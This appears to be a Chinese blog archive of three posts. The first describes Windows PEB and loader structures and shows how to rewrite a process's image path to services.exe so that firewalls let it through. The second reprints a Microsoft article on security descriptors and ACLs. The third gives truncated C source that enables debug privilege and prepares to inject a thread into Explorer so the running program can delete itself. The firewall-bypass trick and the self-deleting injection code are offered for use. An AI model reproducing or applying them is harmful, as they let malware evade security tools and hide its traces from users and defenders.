2005年10月21日

作者:[四不象]

PEB(Process Environment Block)——进程环境块,存放进程信息,每个进程都有自己的 PEB 信息。在 Win
2000 下,进程环境块的地址对于每个进程来说是固定的,在 0×7FFDF000 处,这是用户区内存,所以程序能够直接访问。准确的 PEB
地址应从系统的 EPROCESS 结构的 1b0H 偏移处获得,但由于 EPROCESS 在进程的核心内存区,所以程序不能直接访问。还可以通过
TEB 结构的偏移 30H 处获得 PEB 的位置,代码如下:


mov eax,fs:[18]

mov eax,[eax+30]

PEB 及其相关结构如下:

typedef void (*PPEBLOCKROUTINE)(PVOID PebLock);



typedef struct _UNICODE_STRING {

USHORT Length;

USHORT MaximumLength;

PWSTR Buffer;

} UNICODE_STRING, *PUNICODE_STRING;



typedef struct _RTL_DRIVE_LETTER_CURDIR {

USHORT Flags;

USHORT Length;

ULONG TimeStamp;

UNICODE_STRING DosPath;

} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;



typedef struct _PEB_LDR_DATA {

ULONG Length;

BOOLEAN Initialized;

PVOID SsHandle;

LIST_ENTRY InLoadOrderModuleList;

LIST_ENTRY InMemoryOrderModuleList;

LIST_ENTRY InInitializationOrderModuleList;

} PEB_LDR_DATA, *PPEB_LDR_DATA;



typedef struct _LDR_MODULE {

LIST_ENTRY InLoadOrderModuleList;

LIST_ENTRY InMemoryOrderModuleList;

LIST_ENTRY InInitializationOrderModuleList;

PVOID BaseAddress;

PVOID EntryPoint;

ULONG SizeOfImage;

UNICODE_STRING FullDllName;

UNICODE_STRING BaseDllName;

ULONG Flags;

SHORT LoadCount;

SHORT TlsIndex;

LIST_ENTRY HashTableEntry;

ULONG TimeDateStamp;

} LDR_MODULE, *PLDR_MODULE;



typedef struct _RTL_USER_PROCESS_PARAMETERS {

ULONG MaximumLength;

ULONG Length;

ULONG Flags;

ULONG DebugFlags;

PVOID ConsoleHandle;

ULONG ConsoleFlags;

HANDLE StdInputHandle;

HANDLE StdOutputHandle;

HANDLE StdErrorHandle;

UNICODE_STRING CurrentDirectoryPath;

HANDLE CurrentDirectoryHandle;

UNICODE_STRING DllPath;

UNICODE_STRING ImagePathName;

UNICODE_STRING CommandLine;

PVOID Environment;

ULONG StartingPositionLeft;

ULONG StartingPositionTop;

ULONG Width;

ULONG Height;

ULONG CharWidth;

ULONG CharHeight;

ULONG ConsoleTextAttributes;

ULONG WindowFlags;

ULONG ShowWindowFlags;

UNICODE_STRING WindowTitle;

UNICODE_STRING DesktopName;

UNICODE_STRING ShellInfo;

UNICODE_STRING RuntimeData;

RTL_DRIVE_LETTER_CURDIR DLCurrentDirectory[0x20];

} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;



typedef struct _PEB_FREE_BLOCK {

struct _PEB_FREE_BLOCK *Next;

ULONG Size;

} PEB_FREE_BLOCK, *PPEB_FREE_BLOCK;



typedef struct _PEB {

BOOLEAN InheritedAddressSpace;

BOOLEAN ReadImageFileExecOptions;

BOOLEAN BeingDebugged;

BOOLEAN Spare;

HANDLE Mutant;

PVOID ImageBaseAddress;

PPEB_LDR_DATA LoaderData;

PRTL_USER_PROCESS_PARAMETERS ProcessParameters;

PVOID SubSystemData;

PVOID ProcessHeap;

PVOID FastPebLock;

PPEBLOCKROUTINE FastPebLockRoutine;

PPEBLOCKROUTINE FastPebUnlockRoutine;

ULONG EnvironmentUpdateCount;

PVOID *KernelCallbackTable;

PVOID EventLogSection;

PVOID EventLog;

PPEB_FREE_BLOCK FreeList;

ULONG TlsExpansionCounter;

PVOID TlsBitmap;

ULONG TlsBitmapBits[0x2];

PVOID ReadOnlySharedMemoryBase;

PVOID ReadOnlySharedMemoryHeap;

PVOID *ReadOnlyStaticServerData;

PVOID AnsiCodePageData;

PVOID OemCodePageData;

PVOID UnicodeCaseTableData;

ULONG NumberOfProcessors;

ULONG NtGlobalFlag;

BYTE Spare2[0x4];

LARGE_INTEGER CriticalSectionTimeout;

ULONG HeapSegmentReserve;

ULONG HeapSegmentCommit;

ULONG HeapDeCommitTotalFreeThreshold;

ULONG HeapDeCommitFreeBlockThreshold;

ULONG NumberOfHeaps;

ULONG MaximumNumberOfHeaps;

PVOID **ProcessHeaps;

PVOID GdiSharedHandleTable;

PVOID ProcessStarterHelper;

PVOID GdiDCAttributeList;

PVOID LoaderLock;

ULONG OSMajorVersion;

ULONG OSMinorVersion;

ULONG OSBuildNumber;

ULONG OSPlatformId;

ULONG ImageSubSystem;

ULONG ImageSubSystemMajorVersion;

ULONG ImageSubSystemMinorVersion;

ULONG GdiHandleBuffer[0x22];

ULONG PostProcessInitRoutine;

ULONG TlsExpansionBitmap;

BYTE TlsExpansionBitmapBits[0x80];

ULONG SessionId;

} PEB, *PPEB;


PEB 结构中的 PPEB_LDR_DATA 是一个指向 PEB_LDR_DATA 的指针,PEB_LDR_DATA 结构中有 3 个
LIST_ENTRY 的指针,分别是 InLoadOrderModuleList; InMemoryOrderModuleList;
InInitializationOrderModuleList,如此循环。可以通过这三个 LIST_ENTRY
结构来遍历进程加载的模块。LDR_MODULE 结构中的 FullDllName 成员便是一个包含模块名信息的 UNICODE_STRIN
结构,它的成员 Buffer 即是指向存放模块名的 UNICODE
字符串指针。还有要注意的是,RTL_USER_PROCESS_PARAMETERS 结构中的 ImagePathName.Buffer 和
LoaderData->InLoadOrderModuleList.Flink->FullDllName.Buffer
指向的其实是同一内存。





Windows 2000 下,枚举系统进程的方法无外乎通过 Tool Help 函数,或是 PSAPI
函数。这两类函数虽然接口不同,但最后还是通过调用 NTDLL.DLL 中导出的 NtQuerySystemInformation
函数来实现的。这些函数最终是通过 LDR_MODULE 中指向的那些模块信息来实现进程和模块名字查询的。所以,只要修改 LDR_MODULE
指向的那些信息就能实现改变进程名或模块名。注意那些字符串都是 unicode 形式的,改的时候别忘了。





样改过之后虽然能够骗过 EnumProcessModules 和 Module32First、Module32Next 函数,但若使用
Process32Next、Process32First 函数,PROCESSENTRY32 结构中的 szExeFile 还是会如实的返回
EXE 文件名,如此一来,在“windows 任务管理器”里就穿邦了,即便你改了 BaseDllName
也没用。别急,当然还是有办法改的。不知诸位有没有注意到,用 Delphi
编译出来的可执行文件,如果你没改工程名的话,无论你怎么改可执行文件的文件名,在“windows
任务管理器”中总是显示“project1.exe”,具体什么原理我也不清楚。哪位有兴趣可以反汇编一下,看看具体是如何实现的,我的汇编功底太差了。





不过这样就够了,你可以做个试验,用以上方法改变一个有上网请求的进程的 ImagePathName,然后看看防火墙有什么反映。果然,被骗过去了。用这个方法就可以“穿透”防火墙了。





那具体应该改为哪个程序名呢?在 windows 2000 下,C:\WINNT\system32\services.exe 负责DNS解析等任务,总是被允许上网的,所以改成“C:\WINNT\system32\services.exe”就可以了。

2005年10月19日

保证应用程序中私有对象安全的技术

发布日期: 8/17/2004 | 更新日期: 8/17/2004

Kenny Kerr
软件顾问

适用范围:
Microsoft® Windows® 安全授权
C++ 语言

摘要: 想了解扩展 Windows 操作系统丰富的安全功能以将其应用于自己的应用程序的方法吗?获取有关 Windows 安全授权以及创建自己的安全描述符的基础知识。

*

下载相关的 SecuringPrivateObjects.exe(英文)示例代码。

本页内容
引言 引言
令牌及其概念 令牌及其概念
安全描述符基础 安全描述符基础
内存管理 内存管理
私有安全描述符 私有安全描述符
权限 权限
访问控制列表 访问控制列表
访问控制编辑器 访问控制编辑器
结论 结论


引言

您是否考虑过扩展 Windows® 操作系统丰富的安全功能以将其应用于自己的应用程序的方法?您是否用过 Windows 文件系统安全编辑器,并希望能够为自己的业务对象提供这一级别的安全性?本文将首先介绍 Windows 安全授权的基础。然后介绍操纵安全描述符的步骤、创建自己的安全描述符的方法,以及如何使用不同的方法来编辑安全描述符。读过本文后,您将掌握足够的信息,使您能够将这些技术应用到自己的应用程序中。

撰写本文的目的之一,是希望有助于使安全编程切实可行,且便于访问。所以这里不会对特定的函数进行全面、深入的剖析,我将介绍若干 helper 函数和类,使用它们可以使您的安全代码更可靠、更便于管理。helper 函数和示例不仅说明了使用各种安全函数的方法,而且着重说明了在出现异常和错误的情况下如何安全、可靠地使用它们。

返回页首返回页首


令牌及其概念

本文的内容全部是有关管理访问控制的,管理访问控制也称为授权。在讨论此问题之前,我们需要具备一种方法,用来识别尝试对采取了安全措施的资源进行访问的用户。这就是令牌的作用。令牌代表计算机中的登录会话。只要用户以交互方式或远程方式访问计算机,就会创建登录会话。令牌是一个处理程序,可用来对登录会话进行查询和操纵。如果具有令牌,您就可以得到登录会话所代表的用户,以及确定是否应授予该用户访问已采取安全措施的资源的权限。

因为所有应用程序都运行于登录会话的上下文中,所以总是可以使用某些类型的令牌来指示用户。在任何给定的时刻,可能有一个或多个不同的令牌或安全上下文,这会有些使人产生混淆。每一个登录会话都代表着不同的用户。至少有一个令牌附加到该进程。可以使用 OpenProcessToken 函数获取此令牌。

CHandle token;
Helpers::CheckError(::OpenProcessToken(::GetCurrentProcess(),
                                       TOKEN_QUERY,
                                       &token.m_h));

CHandle 是一个由活动模版库 (ATL) 提供的包装类,当令牌超出范围时,它用来确保能够通过调用 CloseHandle 函数关闭处理程序。CheckError 是我的 Helpers 命名空间中的一个 helper 函数。CheckError 抛出一个 HRESULT,用于说明所发生的错误。使用不同的方法可以在 Windows 的 C 语言编程中表示出错的情况,我倾向使 HRESULT 标准化,以保证一致性。如果下载本文,则可以使用 Helpers 命名空间。GetCurrentProcess 函数的返回值是一个伪处理程序,它代表当前的进程。因为不是真正的处理程序,所以不需要调用 CloseHandle 函数来释放返回的 HANDLE。

可以使用的另外一个令牌是线程令牌。可以通过调用 OpenThreadToken 函数来检索线程令牌。

CHandle token;
Helpers::CheckError(::OpenThreadToken(::GetCurrentThread(),
                                      TOKEN_QUERY,
                                      TRUE, // 打开自身
                                      &token.m_h));

与 GetCurrentProcess 相同,GetCurrentThread 也返回一个伪处理程序,所以也不需要针对该程序调用 CloseHandle。与 OpenProcessToken 不同的是,如果没有任何令牌与当前线程相关联,那么可能无法成功调用 OpenThreadToken,这时函数返回 ERROR_NO_TOKEN。

在某些情况下,甚至存在第三令牌,该令牌代表其他安全上下文。例如,ASP.NET 允许关闭客户模拟,在这种情况下,可以通过 HttpContext 类获取客户标识。

获取令牌后,如果能够利用它执行一些有趣的操作,会有助于我们对它的理解。使用令牌能够执行的最简单的操作,就是对它进行查询,以获取登录会话的有关信息。可以使用 GetTokenInformation 函数执行此操作。因为 GetTokenInformation 函数可用来查询不同类的信息,调用方法相当复杂,所以我编写了一个包装函数模板,以减少调用时可能出现的错误。下面示例说明了查询令牌以获取令牌用户信息的方法。

CLocalMemoryT<PTOKEN_USER> tokenUser(Helpers::GetTokenInformation<TOKEN_USER>(token,
                                                                              TokenUser));
CComBSTR string = Helpers::ConvertSidToStringSid(tokenUser->User.Sid);

ConvertSidToStringSid helper 函数用于将二进制安全标识符 (SID) 转换为用户易识别的字符串。使用 SID 表示用户帐户是计算机易识别的格式。如果您的兴趣只在包装函数的功能,可以下载并查看本文所附的源代码。有关 CLocalMemoryT 类模板的内容将在介绍了内存管理之后讨论。

返回页首返回页首


安全描述符基础

了解了如何识别用户后,我们需要一种方法,用来管理不同用户所具有的不同的权限。这就是使用安全描述符的必要性。安全描述符包含许多不同类型的信息。其中最有趣的是所有者安全识别符 (SID) 和两个访问控制列表 (ACL)。所有者 SID 可标识拥有对象的用户。两个 ACL 分别是随机 ACL 和系统 ACL。因为系统 ACL 实际上与访问控制无关,所以本文集中讨论随机 ACL (DACL)。

安全描述符以 SECURITY_DESCRIPTOR 结构表示,因为没有关于此结构的说明,所以应避免直接对其进行操纵。Microsoft 提供了若干使用简便的函数,用于查询和操纵内置对象(比如,文件和注册表项)的安全描述符。下面示例说明了获取本地计算机中 Program Files 目录的所有者 SID 和 DACL 的方法。

CLocalMemory securityDescriptor;
PSID sid = 0;
PACL dacl = 0;

Helpers::CheckError(::GetNamedSecurityInfo(_T("C:\\Program Files"),
                                           SE_FILE_OBJECT,
                                           OWNER_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION,
                                           &sid,
                                           0, // 组
                                           &dacl,
                                           0, // sacl
                                           &securityDescriptor.m_ptr));

GetNamedSecurityInfo 是一个具有多种用途的函数。它允许查询绝大多数(如果不要求全部查询的话)内置安全对象。第一个参数是要查询的对象的名称(或路径)。第二个参数指示对象的类型。本例查询的是文件系统对象。例如,若要查询注册表对象,可以将其更改为 SE_REGISTRY_KEY。下一步是使用枚举类型的参数 SECURITY_INFORMATION 指定感兴趣的信息。再后面的四个参数是分别指向安全描述符的四个主要部分的指针。这里的方便之处是,对于不感兴趣的部分,可以向相应的参数传递 0。最后一个参数是指向安全描述符本身的指针,它实际上是安全描述符的一个副本,必须使用 LocalFree 函数释放。

还可以使用名为 SetNamedSecurityInfo 的函数来更新内置对象的安全描述符。因为此函数的工作方式与上面所述相同,所以这里不对其进行深入的剖析。

返回页首返回页首


内存管理

在继续之前,我认为有必要讨论一下内存管理方面的内容。内存管理以及对资源的整体管理,是编写安全、可靠的代码的一个重要方面。编写内存管理代码的最佳方式就是根本不编写代码。首先需要了解将要调用的各种函数所使用的内存管理技术,然后应将这些函数包装到一个或两个类中,以确保能够在合适的时机正确清除。如果不进行这个工作,那么编写的代码将泄露资源,甚至出现更严重的情况,使程序出现漏洞,为存心不良的人访问采取了安全措施的资源提供可乘之机。

上面介绍了 CLocalMemoryT 类模板,但没有真正说明它的用途。绝大多数与安全描述符有关的安全函数都使用了本地内存。本地内存的使用可溯源至 16 位的 Windows 操作系统,在这类操作系统中,内存管理相当复杂。目前可供使用的本地内存函数(比如,LocalAlloc 和 LocalFree)主要是用来向后兼容 16 位的应用程序,以及兼容该类应用程序将其作为部分语义的以前的 API 函数。

为了使得处理本地内存更加容易,我编写了一个简单的类,该类用于包装本地内存指针。在重载成员选择运算符 (operator ->)时,可以将 CLocalMemoryT 看作一个具有智能的指针类。这样做是可能的,因为它是一个类模板,并且您可以通过模板参数指示所指向的内存的类型或结构。可以使用 CLocalMemoryT 创建新的本地内存块,但一般使用它附加到函数所返回的现有的内存块。然后析构函数通过调用 LocalFree 释放内存。安全函数所使用的某些数据结构是不透明的。为了能够更方便地使用这些结构,我在 CLocalMemory 头文件的末尾定义了以下类型定义。

typedef CLocalMemoryT<PVOID> CLocalMemory;

使用这些类型能够有效地管理 SECURITY_DESCRIPTOR 对象占用的内存单元,例如:

返回页首返回页首


私有安全描述符

GetNamedSecurityInfo 和 SetNamedSecurityInfo 具有很强的处理内置对象的功能。但是对于私有对象(比如,在自己的应用程序业务逻辑中所使用的对象),它们具有什么功能呢?可以对这些函数的功能进行扩展,使其支持私有对象吗?很不幸,答案是否定的。因为每个资源(比如,文件系统或注册表)都定义了自己的保留安全描述符的方法,这些函数不可能了解查询或设置您所创建的私有对象的安全信息。万幸的是,我们有解决的方法。

首先我们需要一种创建私有安全描述符的方法。使用 CreatePrivateObjectSecurityEx 函数可以从头开始创建自己的安全描述符。这个函数的使用方法相当灵活,它的主要用途有两个:创建新的安全描述符以及更新现有的安全描述符的继承。它的原型如下。

BOOL CreatePrivateObjectSecurityEx(PSECURITY_DESCRIPTOR parentDescriptor,
                                   PSECURITY_DESCRIPTOR defaultDescriptor,
                                   PSECURITY_DESCRIPTOR* newDescriptor,
                                   GUID* type,
                                   BOOL isContainer,
                                   ULONG autoInheritFlags,
                                   HANDLE token,
                                   PGENERIC_MAPPING genericMapping);

parentDescriptor 用于指示将继承其 ACL 的父对象。如果对象没有父对象,可以只向此参数传递 0。defaultDescriptor 的主要用途是,当 parentDescriptor 改变后,使用可继承的访问控制项 (ACE) 更新现有的安全描述符。实现这一目的的方法是,创建一个将由 newDescriptor 参数返回的新的安全描述符,然后释放原安全描述符。要传递对象 ACL 的显式项,请将现有的安全描述符作为 defaultDescriptor 参数传递。

在处理 Active Directory 对象的安全时,将使用 type。要指示安全描述符所表示的对象是否是其他安全对象的容器,可使用 isContainer。要影响各个可继承的 ACE 指向新建的安全描述符的方式,可使用 autoInheritFlags。可以只传递 SEF_DACL_AUTO_INHERIT 以继承任何可继承的 ACE。但在根据父安全描述符得到可继承 ACE 时,还应包含 SEF_AVOID_PRIVILEGE_CHECKSEF_AVOID_OWNER_CHECK 标志,以避免出现针对用户的访问检查,因为在只更新继承时,没有必要这样做。有关管理 ACL 继承的详细信息,请参阅 Keith Brown 的著作 Programming Windows Security(英文)。

要识别为其创建对象的用户,可以使用令牌获取新创建的安全描述符的默认值(比如,所有者的 SID)。以显式传递用户令牌会为服务器应用程序的运行带来方便,因为不要求模拟。

最后,genericMapping 用来提供有关显式传递的信息,针对特定对象的权限可映射为四个通用权限,即读、写、执行以及全部。有关权限的内容将在下一部分中讨论。

有关安全描述符的工作完成后,必须通过调用 DestroyPrivateObjectSecurity 将其释放。

现在我们可以创建自己的安全描述符,我们需要找到一种能够对其进行查询和修改的方式。虽然 GetNamedSecurityInfo 和 SetNamedSecurityInfo 无法用来操作私有对象,但还是有能够达到此目的的函数。要修改私有安全描述符,需要使用 SetPrivateObjectSecurityEx 函数。该函数的原型如下。

BOOL SetPrivateObjectSecurityEx(SECURITY_INFORMATION securityInformation,
                                PSECURITY_DESCRIPTOR modificationDescriptor,
                                PSECURITY_DESCRIPTOR* securityDescriptor,
                                ULONG autoInheritFlags,
                                PGENERIC_MAPPING genericMapping,
                                HANDLE token);

有关该函数的文档有一处错误,即将 securityDescriptor 参数设为 [out],实际应将此参数设置为 [in, out],因为在输入时,此参数必须指向一个有效的安全描述符。如果必要,SetPrivateObjectSecurityEx 将调用 LocalReAlloc,以分配足够的内存单元,并向其中写入新信息。这就是要求一个指向安全描述符指针的指针的原因,调用 SetPrivateObjectSecurityEx 之后,securityDescriptor 指向的内存位置可能会改变。

正如您所见,SetPrivateObjectSecurityEx 不提供用于设置安全描述符各部分的单个参数,这一点与 SetNamedSecurityInfo 相同。SetPrivateObjectSecurityEx 要求提供现有的安全描述符,以供从中复制值。所幸在堆栈中创建安全描述对象以及使用可能会将其复制到私有安全描述符中的信息准备此安全描述符的操作相当容易。下面是一个示例:

CWellKnownSid adminSid = CWellKnownSid::Administrators();

SECURITY_DESCRIPTOR templateDescriptor = { 0 };

Helpers::CheckError(::InitializeSecurityDescriptor(&templateDescriptor,
                                                   SECURITY_DESCRIPTOR_REVISION));

Helpers::CheckError(::SetSecurityDescriptorOwner(&templateDescriptor,
                                                 &adminSid,
                                                 false));

Helpers::CheckError(::SetPrivateObjectSecurityEx(OWNER_SECURITY_INFORMATION,
                                                 &templateDescriptor,
                                                 &securityDescriptor,
                                                 SEF_AVOID_PRIVILEGE_CHECK,
                                                 &genericMapping,
                                                 0));

其中 templateDescriptor 是一个基于堆栈的安全描述符。请注意,在进行之前,确保清空内存单元。InitializeSecurityDescriptor 用来设置修订级别,否则将保持安全描述符为空。SetSecurityDescriptorOwner 将所有者 SID 设置为众所周知的本地管理员组。这是在 CWellKnownSid 类的帮助下实现的,可以在下载本文时得到此类。最后调用了 SetPrivateObjectSecurityEx,以将所有者信息从我们的模板描述符复制到 securityDescriptor 所包含的私有安全描述符中。

您可能感到奇怪,为什么不能直接使用这些函数来设置私有安全描述符的各部分。对于安全描述符来说,有两种不同的内存格式。绝对安全描述符包含指向它所包含的安全信息的指针。其内存单独分配,与安全描述符结构所占用的内存分配相分开。而相对安全描述符则将它的所有信息存储在连续的内存块中。它并不存储指针,而存储在内存块中的偏移量。

在了解了安全描述符在内存中存在的不同方式后,事情就很明白了。私有安全描述符通常是相对安全描述符。这就是处理这类安全描述符的函数更加复杂的原因。在堆栈中创建安全描述符比较容易,因为这类安全描述符是绝对安全描述符,诸如 SetSecurityDescriptorOwner 之类的函数只需要在基于堆栈的安全描述符中设置指针值即可。

幸运的是,查询私有安全描述符十分简单。可以使用标准函数(比如,GetSecurityDescriptorOwner 和 GetSecurityDescriptorDacl)获取不同部分的内容。还有一个名为 GetPrivateObjectSecurity 的函数,但它不常用于查询安全描述符。在使用访问控制编辑器时,使用该函数会很方便(这个问题将在后面讨论)。

返回页首返回页首


权限

权限也称为访问权限,已在前面提及过。有关它的话题与内存管理同样精彩。然而重要的是了解如何为您的私有对象设计权限。每次调用有可能访问安全资源的函数时,都会用到权限。例如,我们熟知的 CreateFile 函数具有一个采用访问位掩码的参数,该参数的每一位都代表一个特定的权限。

与文件系统定义特定的权限相同(比如,FILE_APPEND_DATAFILE_TRAVERSE),您也必须为自己的对象定义特定的权限。对于 32 位的访问掩码,16 位只用于特定的权限。为对象定义好特定的权限后,需要将其分别归入四个通用权限类别中。通用权限是 GENERIC_READGENERIC_WRITEGENERIC_EXECUTEGENERIC_ALL。这样,编程者就可以简单声明需要读取访问以及应用逻辑上映射到读取访问类别的权限。但是因为任何一个安全函数都无法知道特定权限所映射到的通用权限类别,所以需要填入一个 GENERIC_MAPPING 结构,该结构将被传递给许多安全函数。

在对权限有了基本的了解之后,我们就可以为特定的 widget 资源定义以下权限。

namespace Permissions
{
    const DWORD AddWidget       = 0x0001;
    const DWORD ListWidgets     = 0x0002;
    const DWORD RenameWidget    = 0x0004;
    const DWORD ReadWidgetData  = 0x0008;
    const DWORD WriteWidgetData = 0x0010;

    const DWORD GenericRead     = STANDARD_RIGHTS_READ |
                                  ListWidgets |
                                  ReadWidgetData;

    const DWORD GenericWrite    = STANDARD_RIGHTS_WRITE |
                                  AddWidget |
                                  RenameWidget |
                                  WriteWidgetData;

    const DWORD GenericExecute  = STANDARD_RIGHTS_EXECUTE;

    const DWORD GenericAll      = STANDARD_RIGHTS_REQUIRED |
                                  GenericRead |
                                  GenericWrite |
                                  GenericExecute;
}

这样,您就应该能够填充全局的 GENERIC_MAPPING 结构,并向它传递指针,也向所有需要此结构的函数传递指针。现在程序员就可以仅仅使用通用权限(比如,GENERIC_WRITE),而该通用权限会映射到我们的 widget 的Permissions::GenericRead。细心的程序员可能不会假定用户具有所有权限。在这种情况下,他可能会使用特定权限中的一种(比如,Permissions::RenameWidget)。当然,仍有可能使用一种标准权限(比如,DELETE,如果我们在 widget 中为其指定了特定含义的话)。

返回页首返回页首


访问控制列表

DACL 是安全描述符的核心。列表中的每个访问控制项 (ACE) 都定义了特定的用户或组对于某项资源的权限。ACE 既可以为正,也可以为负。正的 ACE 指示为用户或组授予了特定的权限,负的 ACE 指示该权限将被拒绝。如果 ACL 中未出现某用户(无论是单独出现还是作为组的成员出现),那么该用户的任何访问操作都将被拒绝。

ACL 存储在连续的内存块中,它由一个 ACL 结构和一个经过排序的 ACE 列表组成。下面的示例说明了创建一个简单的 ACL 的方法。

CLocalMemoryT<PACL> acl(100);

Helpers::CheckError(::InitializeAcl(acl.m_ptr,
                                    100,
                                    ACL_REVISION));

DWORD inheritFlags = CONTAINER_INHERIT_ACE | OBJECT_INHERIT_ACE;

CWellKnownSid everyoneSid = CWellKnownSid::Everyone();

Helpers::CheckError(::AddAccessAllowedAceEx(acl.m_ptr,
                                            ACL_REVISION,
                                            inheritFlags,
                                            GENERIC_READ,
                                            &everyoneSid));

CLocalMemoryT<PSID> userSid(Helpers::GetUserSid(token));

Helpers::CheckError(::AddAccessAllowedAceEx(acl.m_ptr,
                                            ACL_REVISION,
                                            inheritFlags,
                                            GENERIC_ALL,
                                            userSid.m_ptr));

因为 ACL 存储在连续的内存单元中,所以需要分配一块足够大的内存空间,以存放 ACL 标头和它的所有项。所分配的内存空间的大小并不重要,足够容纳所有的项即可。在创建 ACL 之后,一般要调用资源管理器,这样会创建该 ACL 的一份副本。我使用 AddAccessAllowedAceEx 函数为每位用户授予读取权限,为带有令牌的用户授予全部权限。

直接创建和编辑更实际和更复杂的 ACL 可能会很困难,且很容易出错。主要原因与列表中的 ACE 的顺序有关,在执行访问检查时,将在列表中从上向下进行。如果向列表末尾添加负的 ACE,且位于列表顶端的 ACE 允许用户进行访问,那么即使已经拒绝了此用户访问,访问检查仍然能够成功进行。访问检查采取这种取捷径的技术是为了提高效率。如果能够对 ACE 正确排序,程序就能够正常运行。更麻烦的是,Windows 2000 引入了新模型,用于实现 ACL 继承,该模型的功能要强大许多,但在实现时,要特别小心。我所能给出的最好的建议是决不要直接对 ACL 进行操纵。下一部分将告诉您其中的方法。

返回页首返回页首


访问控制编辑器

正如事实所说明的,程序员可以在他们自己的应用程序中使用 Windows shell 所使用的访问控制编辑器(请参见 1)。访问控制编辑器是功能极其强大且使用灵活的编辑器,用来操纵安全描述符所有的不同部分。编辑器通过两个看上去简单的函数提供。CreateSecurityPage 用来创建我们熟悉的安全性属性页,可以向其中添加自己的属性表。EditSecurity 是一个 helper 函数,用于向属性表中添加并显示安全页。看起来很简单,但其中内容很多。这两个函数都要求具备一个相当奇怪的 COM 接口,称为 ISecurityInformation。之所以奇怪是因为它不遵循标准的 COM 内存管理规则。此外,它选择了继续使用许多安全函数所使用的内存管理函数和技术,依赖全局内存和 LocalAlloc。这使得在 C# 或其他托管语言中的实现极其困难。只需将 ISecurityInformation 看作辉煌一时的 C 语言的回调机制即可。

secprivateobjects_01

1:访问控制编辑器中的安全属性页

GetObjectInformation 方法允许您指示要使用的自定义访问控制编辑器的方法。例如,可以使用它来显示或隐藏高级按钮,高级按钮提供了比标准属性页更高级的安全描述符编辑器(请参见 2)。其他可以控制的选项包括是否允许用户查看和更改安全描述符的所有者 SID 和系统 ACL。

secprivateobjects_02

2:高级安全设置对话框

当编辑器需要使用有关安全描述符的信息填充各种控件时,将在不同的时机调用 GetSecurity 方法。现在再使用我在本文前面的部分中提到的 GetPrivateObjectSecurity 函数就变得非常容易。GetSecurity 方法应返回正在编辑的安全描述符相应部分的副本。这正是 GetPrivateObjectSecurity 执行的操作。

用户在编辑器中进行了需要保存的更改后,将调用 SetSecurity 方法。有了 SetPrivateObjectSecurityEx 函数的帮助,实现 SetSecurity 将相当迅速(前面曾经讨论过 SetPrivateObjectSecurityEx 函数)。

调用 GetAccessRights 方法的目的是获取正在对其进行编辑的对象所属类型的特定权限和通用权限的列表。这一实现涉及到创建 SI_ACCESS 结构的数组。每个 SI_ACCESS 结构都标识一个特定的或通用的权限,还有其位掩码位、友好名称和其他标志。因为此信息描述安全描述符的所有实例,所以一般将此数组声明为静态类型。

在其余的方法中,真正有趣的是 GetInheritTypes。调用它的目的是允许编辑器确定如何设定 ACE 的属性值以进行继承。应创建 SI_INHERIT_TYPE 结构的静态数组,以描述要提供的不同继承标志的组合。如果对象支持继承,那么它一般会提供以下选项。

适用于: 标志

对象和子对象

CONTAINER_INHERIT_ACE | OBJECT_INHERIT_ACE

仅子对象

CONTAINER_INHERIT_ACE | OBJECT_INHERIT_ACE | INHERIT_ONLY_ACE

仅对象

0

在刚开始,实现 ISecurityInformation 令人望而却步,但是通过练习并学习精彩的示例后,您会很快熟练起来。本文的下载文件包含若干有用的 helper 函数,以及我编写的 CSecurityDescriptor 类,该类能够使创建、编辑和管理 ACL 继承变得轻松。下载文件还包括实现 IsecurityInformation 的示例,其中的 C++ 项目提供了使用这些类的简单的示例。

返回页首返回页首


结论

将 Windows 安全模型扩展为私有对象需要从全局的角度对安全描述符有深刻的理解,尤其要对与管理私有安全描述符有关的函数有深刻的理解。能够使用 Windows 访问控制编辑器就能够编写出功能丰富的、安全的应用程序。到此您完全可以自己去体验有关安全描述符的内容,并考虑在自己的应用程序中将本文所介绍的技术用于以对象为中心的访问控制。

Kenny Kerr 将他的绝大部分时间都花在了设计和构建 Microsoft Windows 平台的分布式应用程序上,在安全编程方面,他也具有特殊的热情。Kenny 的电子邮件地址为 kennykerr@hotmail.com,也可以访问他的网站:http://www.kennyandkarin.com/Kenny/(英文)。

2005年10月17日
#include <windows.h>
#include <stdio.h>

#ifndef DELETE_SELF_SWAN
#define DELETE_SELF_SWAN $$$
typedef HINSTANCE (__stdcall *rfdeleteLoadLibraryW)(LPCTSTR);
typedef FARPROC (__stdcall *rfdeleteGetProcAddress)(HMODULE, LPCSTR);
typedef HINSTANCE (__stdcall *rfdeleteGetModuleHandle)(LPCTSTR);

typedef DWORD (__stdcall *rfdeleteDeleteFileA)(char*);
typedef void (__stdcall *rfdeleteSleep)(DWORD);

struct DeleteInfo
{
DWORD interval;
char filename[255];
};

struct RemoteParam
{
rfdeleteLoadLibraryW fnLoadLibrary;
rfdeleteGetProcAddress fnGetProcAddress;
rfdeleteGetModuleHandle fnGetModuleHandle;

//必须得传过去的函数名字
char strKernel32[32];
char strSleep[32];
char strDeleteFileA[32];
DeleteInfo di;
};


DWORD WINAPI RemoteDeleteSelfThread(void *para)
{
//动态加载&&获得函数地址
RemoteParam *rp=(RemoteParam *)para;
//kernel32.dll
HMODULE hModule = rp->fnGetModuleHandle(rp->strKernel32);
rfdeleteDeleteFileA fnDeleteFileA = (rfdeleteDeleteFileA)rp->fnGetProcAddress(hModule, rp->strDeleteFileA);
rfdeleteSleep fnSleep = (rfdeleteSleep)rp->fnGetProcAddress(hModule, rp->strSleep);

de:
if(fnDeleteFileA(rp->di.filename) != 0)
goto re;
Sleep(rp->di.interval);
goto de;
re:
return true;
}

DWORD DeleteSelf()
{
RemoteParam rp;
int iReturnCode;
int iSizeNeed = (int)DeleteSelf - (int)RemoteDeleteSelfThread + 1102;
HWND hWnd = FindWindow("Progman", "Program Manager");
if(!hWnd)
{
return false;
}
DWORD dwRemoteProcessId;
GetWindowThreadProcessId(hWnd, &dwRemoteProcessId);
//给自己debug权限
HANDLE hToken;
if(OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid))
return false;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
